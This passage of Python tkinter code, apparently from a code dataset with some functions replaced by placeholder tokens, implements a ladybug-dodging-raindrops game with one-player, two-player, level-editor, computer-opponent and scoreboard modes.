data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef twoPlayerRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts1:\n coconut.draw(canvas)\n for coconut in data.coconuts2:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n canvas.create_text(50, 40, text='Player 1', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 2', font='Arial 15 bold', fill\n ='yellow')\n winner(canvas, data)\n drawHome(canvas, data)\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\n<function token>\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\n<function token>\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef difficultyRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawDifficulties(canvas, data)\n drawHome(canvas, data)\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n<function token>\n\n\ndef readFile(path):\n with open(path, 'rt') as f:\n return f.read()\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef 